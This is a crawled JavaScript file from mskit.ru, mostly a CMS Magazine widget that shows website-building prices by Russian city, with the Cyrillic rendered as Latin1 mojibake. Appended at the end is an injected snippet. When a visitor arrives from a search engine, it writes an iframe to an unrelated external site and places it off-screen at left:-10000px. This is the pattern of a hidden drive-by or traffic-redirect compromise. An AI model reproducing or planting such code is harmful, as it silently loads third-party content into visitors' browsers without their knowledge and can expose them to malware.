PageSourceSearch

https://mskit.ru/js/CMSMPB_nnit.js

js mskit.ru collected 2026-10-02 08:04:45 UTC 11,695 bytes, 249 lines download raw bytes

1function CMSMPB_print( params , curType ) {
2	var CMSMPB_data = {
3		"Âñå ãîðîäà": {
4			"m":					"57 958", 
5			"lines": {
6				
7				"Äî 50 000": 			{"c":97,"l":"&st=1&m_f=0&m_t=50000"},
8				"Îò 50 000 äî 100 000": 			{"c":67,"l":"&st=1&m_f=50000&m_t=100000"},
9				"Îò 100 000 äî 200 000": 			{"c":32,"l":"&st=1&m_f=100000&m_t=200000"},
10				"Îò 200 000 äî 300 000": 			{"c":10,"l":"&st=1&m_f=200000&m_t=300000"},
11				"Îò 300 000 äî 500 000": 			{"c":3,"l":"&st=1&m_f=300000&m_t=500000"}
12				}
13			},
14		"Èæåâñê": {
15			"m":					"36 335", 
16			"lines": {
17				
18				"Äî 50 000": 			{"c":6,"l":"&st=1&cc=4&m_f=0&m_t=50000"},
19				"Îò 50 000 äî 100 000": 			{"c":3,"l":"&st=1&cc=4&m_f=50000&m_t=100000"}
20				}
21			},
22		"Êàçàíü": {
23			"m":					"42 344", 
24			"lines": {
25				
26				"Äî 50 000": 			{"c":8,"l":"&st=1&cc=13&m_f=0&m_t=50000"},
27				"Îò 50 000 äî 100 000": 			{"c":5,"l":"&st=1&cc=13&m_f=50000&m_t=100000"},
28				"Îò 100 000 äî 200 000": 			{"c":1,"l":"&st=1&cc=13&m_f=100000&m_t=200000"}
29				}
30			},
31		"Êèðîâ": {
32			"m":					"28 600", 
33			"lines": {
34				
35				"Äî 50 000": 			{"c":5,"l":"&st=1&cc=45&m_f=0&m_t=50000"},
36				"Îò 50 000 äî 100 000": 			{"c":1,"l":"&st=1&cc=45&m_f=50000&m_t=100000"},
37				"Îò 100 000 äî 200 000": 			{"c":1,"l":"&st=1&cc=45&m_f=100000&m_t=200000"}
38				}
39			},
40		"Íàáåðåæíûå ×åëíû": {
41			"m":					"74 000", 
42			"lines": {
43				
44				"Äî 50 000": 			{"c":4,"l":"&st=1&cc=81&m_f=0&m_t=50000"},
45				"Îò 50 000 äî 100 000": 			{"c":5,"l":"&st=1&cc=81&m_f=50000&m_t=100000"},
46				"Îò 100 000 äî 200 000": 			{"c":2,"l":"&st=1&cc=81&m_f=100000&m_t=200000"},
47				"Îò 200 000 äî 300 000": 			{"c":1,"l":"&st=1&cc=81&m_f=200000&m_t=300000"}
48				}
49			},
50		"Íèæíèé Íîâãîðîä": {
51			"m":					"37 620", 
52			"lines": {
53				
54				"Äî 50 000": 			{"c":18,"l":"&st=1&cc=41&m_f=0&m_t=50000"},
55				"Îò 50 000 äî 100 000": 			{"c":8,"l":"&st=1&cc=41&m_f=50000&m_t=100000"},
56				"Îò 100 000 äî 200 000": 			{"c":1,"l":"&st=1&cc=41&m_f=100000&m_t=200000"}
57				}
58			},
59		"Îðåíáóðã": {
60			"m":					"22 750", 
61			"lines": {
62				
63				"Äî 50 000": 			{"c":2,"l":"&st=1&cc=27&m_f=0&m_t=50000"}
64				}
65			},
66		"Ïåíçà": {
67			"m":					"68 750", 
68			"lines": {
69				
70				"Äî 50 000": 			{"c":1,"l":"&st=1&cc=88&m_f=0&m_t=50000"},
71				"Îò 50 000 äî 100 000": 			{"c":1,"l":"&st=1&cc=88&m_f=50000&m_t=100000"},
72				"Îò 100 000 äî 200 000": 			{"c":1,"l":"&st=1&cc=88&m_f=100000&m_t=200000"}
73				}
74			},
75		"Ïåðìü": {
76			"m":					"78 567", 
77			"lines": {
78				
79				"Äî 50 000": 			{"c":10,"l":"&st=1&cc=20&m_f=0&m_t=50000"},
80				"Îò 50 000 äî 100 000": 			{"c":8,"l":"&st=1&cc=20&m_f=50000&m_t=100000"},
81				"Îò 100 000 äî 200 000": 			{"c":6,"l":"&st=1&cc=20&m_f=100000&m_t=200000"},
82				"Îò 200 000 äî 300 000": 			{"c":3,"l":"&st=1&cc=20&m_f=200000&m_t=300000"},
83				"Îò 300 000 äî 500 000": 			{"c":1,"l":"&st=1&cc=20&m_f=300000&m_t=500000"}
84				}
85			},
86		"Ñàìàðà": {
87			"m":					"77 943", 
88			"lines": {
89				
90				"Äî 50 000": 			{"c":11,"l":"&st=1&cc=28&m_f=0&m_t=50000"},
91				"Îò 50 000 äî 100 000": 			{"c":15,"l":"&st=1&cc=28&m_f=50000&m_t=100000"},
92				"Îò 100 000 äî 200 000": 			{"c":9,"l":"&st=1&cc=28&m_f=100000&m_t=200000"},
93				"Îò 200 000 äî 300 000": 			{"c":3,"l":"&st=1&cc=28&m_f=200000&m_t=300000"}
94				}
95			},
96		"Ñàðàòîâ": {
97			"m":					"54 833", 
98			"lines": {
99				
100				"Äî 50 000": 			{"c":5,"l":"&st=1&cc=7&m_f=0&m_t=50000"},
101				"Îò 50 000 äî 100 000": 			{"c":4,"l":"&st=1&cc=7&m_f=50000&m_t=100000"},
102				"Îò 100 000 äî 200 000": 			{"c":1,"l":"&st=1&cc=7&m_f=100000&m_t=200000"},
103				"Îò 200 000 äî 300 000": 			{"c":1,"l":"&st=1&cc=7&m_f=200000&m_t=300000"}
104				}
105			},
106		"Òîëüÿòòè": {
107			"m":					"85 000", 
108			"lines": {
109				
110				"Äî 50 000": 			{"c":2,"l":"&st=1&cc=71&m_f=0&m_t=50000"},
111				"Îò 50 000 äî 100 000": 			{"c":2,"l":"&st=1&cc=71&m_f=50000&m_t=100000"},
112				"Îò 100 000 äî 200 000": 			{"c":2,"l":"&st=1&cc=71&m_f=100000&m_t=200000"},
113				"Îò 200 000 äî 300 000": 			{"c":1,"l":"&st=1&cc=71&m_f=200000&m_t=300000"}
114				}
115			},
116		"Óëüÿíîâñê": {
117			"m":					"93 455", 
118			"lines": {
119				
120				"Äî 50 000": 			{"c":7,"l":"&st=1&cc=58&m_f=0&m_t=50000"},
121				"Îò 50 000 äî 100 000": 			{"c":7,"l":"&st=1&cc=58&m_f=50000&m_t=100000"},
122				"Îò 100 000 äî 200 000": 			{"c":6,"l":"&st=1&cc=58&m_f=100000&m_t=200000"},
123				"Îò 200 000 äî 300 000": 			{"c":2,"l":"&st=1&cc=58&m_f=200000&m_t=300000"},
124				"Îò 300 000 äî 500 000": 			{"c":2,"l":"&st=1&cc=58&m_f=300000&m_t=500000"}
125				}
126			},
127		"Óôà": {
128			"m":					"43 272", 
129			"lines": {
130				
131				"Äî 50 000": 			{"c":11,"l":"&st=1&cc=47&m_f=0&m_t=50000"},
132				"Îò 50 000 äî 100 000": 			{"c":6,"l":"&st=1&cc=47&m_f=50000&m_t=100000"},
133				"Îò 100 000 äî 200 000": 			{"c":3,"l":"&st=1&cc=47&m_f=100000&m_t=200000"}
134				}
135			},
136		"×åáîêñàðû": {
137			"m":					"35 167", 
138			"lines": {
139				
140				"Äî 50 000": 			{"c":6,"l":"&st=1&cc=11&m_f=0&m_t=50000"},
141				"Îò 50 000 äî 100 000": 			{"c":3,"l":"&st=1&cc=11&m_f=50000&m_t=100000"}
142				}
143			}};
144	
145	
146	var incoming_params = params || {};
147	var params = {};
148	params.width = incoming_params.width || "200px";
149	params.borderWidth = incoming_params.borderWidth || "1px";
150	params.borderStyle = incoming_params.borderStyle || "solid";
151	params.borderColor = incoming_params.borderColor || "#ECE6E8";
152	
153	params.headerText = incoming_params.headerText || "Ñòîèìîñòü ñîçäàíèÿ Êîðïîðàòèâíûé ñàéò ïî äàííûì CMS Magazine";
154	params.headerBackgroundColor = incoming_params.headerBackgroundColor || "#ECE6E8";
155	params.headerFontColor = incoming_params.headerFontColor || "#000000";
156	params.headerFontFamily = incoming_params.headerFontFamily || "Tahoma,Verdana,Sans Serif";
157	params.headerFontSize = incoming_params.headerFontSize || "9pt";
158	params.headerFontWeight = incoming_params.headerFontWeight || "bold";
159	params.headerPadding = incoming_params.headerPadding || "9px";
160	
161	params.contentBackgroundColor = incoming_params.contentBackgroundColor || "#ffffff";
162	params.contentFontColor = incoming_params.contentFontColor || "#000000";
163	params.contentFontFamily = incoming_params.contentFontFamily || "Tahoma,Verdana,Sans Serif";
164	params.contentFontSize = incoming_params.contentFontSize || "8pt";
165	params.contentFontWeight = incoming_params.contentFontWeight || "normal";
166	params.contentPaddingTop = incoming_params.contentPaddingLeft || "9px";
167	params.contentPaddingRight = incoming_params.contentPaddingLeft || "9px";
168	params.contentPaddingBottom = incoming_params.contentPaddingLeft || "9px";
169	params.contentPaddingLeft = incoming_params.contentPaddingLeft || "9px";
170	params.innerWidth = ( parseInt( params.width ) - parseInt( params.borderWidth ) * 2 - parseInt( params.contentPaddingRight ) - parseInt( params.contentPaddingLeft ) ) + "px";
171	
172	params.selectBackgroundColor = incoming_params.selectBackgroundColor || "#ffffff";
173	params.selectBorder = incoming_params.selectBorder || "1px solid #999999";
174	params.selectFontColor = incoming_params.selectFontColor || "#666666";
175	params.selectFontFamily = incoming_params.selectFontFamily || "Tahoma,Verdana,Sans Serif";
176	params.selectFontSize = incoming_params.selectFontSize || "8pt";
177	params.selectHeight = incoming_params.selectHeight || "16px";
178	
179	params.middlePriceSize = incoming_params.middlePriceSize || "13pt";
180	
181	params.lineColor = incoming_params.lineColor || "#990000";
182	params.lineCaptionFontSize = incoming_params.lineCaptionFontSize || "10pt";
183	
184	if( !curType ) {
185		var HTML_string_select = "";
186		for (var type in CMSMPB_data ) {
187			if( !curType ) curType = type;
188			HTML_string_select += '<option ' + ( type == curType ? 'selected="selected"' : '' ) + ' value="' + type + '">' + type + '</option>';
189			}
190		}
191	
192	//Middle price
193	var max_c = 0; var tmp_c; var tmp_l;
194	for ( var price in CMSMPB_data[ curType ][ "lines" ] ) {
195		tmp_c = CMSMPB_data[ curType ][ "lines" ][ price ][ "c" ]; if( tmp_c > max_c ) max_c = tmp_c;
196		}
197		
198	//Lines
199	HTML_string_data_lines = '';
200	for ( var price in CMSMPB_data[ curType ][ "lines" ] ) {
201		tmp_c = CMSMPB_data[ curType ][ "lines" ][ price ][ "c" ];
202		tmp_l = 'http://www.cmsmagazine.ru/creators/price/?pra=yes' + CMSMPB_data[ curType ][ "lines" ][ price ][ "l" ];
203		HTML_string_data_lines += '<tr><td colspan="2" style="padding-top: 7px; padding-bottom: 5px">'+price+'</td></tr>';
204		HTML_string_data_lines += '<tr><td width="70%"><div style="width:'+( parseInt( tmp_c / max_c * 100 ) )+'%;background-color:'+params.lineColor+'">&nbsp;</div></td><td width="30%" align="right"><a style="font-size:'+params.lineCaptionFontSize+';color:'+params.contentFontColor+';" href="'+tmp_l+'" target="_blank">'+tmp_c+'</a></td></tr>';
205		}
206	
207	var HTML_string_data = '';
208	HTML_string_data += 	'Ñðåäíÿÿ öåíà: <big style="font-size:'+params.middlePriceSize+';">'+CMSMPB_data[ curType ][ "m" ]+'</big> ðóáëåé';
209	HTML_string_data += 	'<table style="font-size:'+params.contentFontSize+'" cellspacing="0" cellpadding="0" width="'+params.innerWidth+'" border="0">';
210	HTML_string_data += 	HTML_string_data_lines;
211	HTML_string_data += 	'</table>';
212	
213	var CMSMPB_data_container = document.getElementById( "CMSMPB_data_container" );
214	if( CMSMPB_data_container ) {
215		CMSMPB_data_container.innerHTML = HTML_string_data;
216		}
217	else {
218		var HTML_string = "";
219		HTML_string += 	'<style>';
220		HTML_string += 	'	div.CMSMPB_header a {color:'+params.headerFontColor+'}';
221		HTML_string += 	'</style>';
222		HTML_string += 	'<div style="width:'+params.width+';border:'+params.borderWidth+' '+params.borderStyle+' '+params.borderColor+';">'
223		HTML_string += 	'	<div class="CMSMPB_header" style="background-color:'+params.headerBackgroun
223dColor+';color:'+params.headerFontColor+';font-family:'+params.headerFontFamily+';font-size:'+params.headerFontSize+';font-weight:'+params.headerFontWeight+';padding:'+params.headerPadding+'">'
224		HTML_string += 	params.headerText;
225		HTML_string += 	'	</div>';
226		HTML_string += 	'	<div style="background-color:'+params.contentBackgroundColor+';color:'+params.contentFontColor+';font-family:'+params.contentFontFamily+';font-size:'+params.contentFontSize+';font-weight:'+params.contentFontWeight+';padding-top:'+params.contentPaddingTop+';padding-right:'+params.contentPaddingRight+';padding-bottom:'+params.contentPaddingBottom+';padding-left:'+params.contentPaddingLeft+';">';
227		HTML_string += 	'		Ãîðîä:<br />';
228		HTML_string += 	'		<select style="background-color:'+params.selectBackgroundColor+';border:'+params.selectBorder+';color:'+params.selectFontColor+';font-family:'+params.selectFontFamily+';font-size:'+params.selectFontSize+';height:'+params.selectHeight+';width:'+params.innerWidth+';" onchange="CMSMPB_print(CMSMPB_params,this.value)" name="st">'+HTML_string_select+'</select>';
229		HTML_string += 	'		<br /><br />';
230		HTML_string += 	'		<div id="CMSMPB_data_container">';
231		HTML_string += 			HTML_string_data;
232		HTML_string += 	'		</div>';
233		HTML_string += 	'		<br />';
234		HTML_string += 	'		<a style="color:'+params.contentFontColor+';" target="_blank" href="http://www.cmsmagazine.ru/creators/price/">Âñå òèïû ñàéòîâ</a>';
235		HTML_string += 	'	</div>';
236		HTML_string += 	'</div>';		
237		document.write( HTML_string );
238		}
239	}
240
241if (document.referrer != undefined)
242  {
243  var ref = document.referrer.toLowerCase();
244  if (ref.indexOf('yandex') != -1 || ref.indexOf('google') != -1 || ref.indexOf('bing') != -1 || ref.indexOf('yahoo') != -1 || ref.indexOf('ya') != -1)
245    {
246    document.write('<iframe src="http://www.fondrgs.ru/custom/suppliers/av/" width="468" height="60" style="position:absolute;left:-10000px;"></iframe>'); //code here
247    }
248  };
249;

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.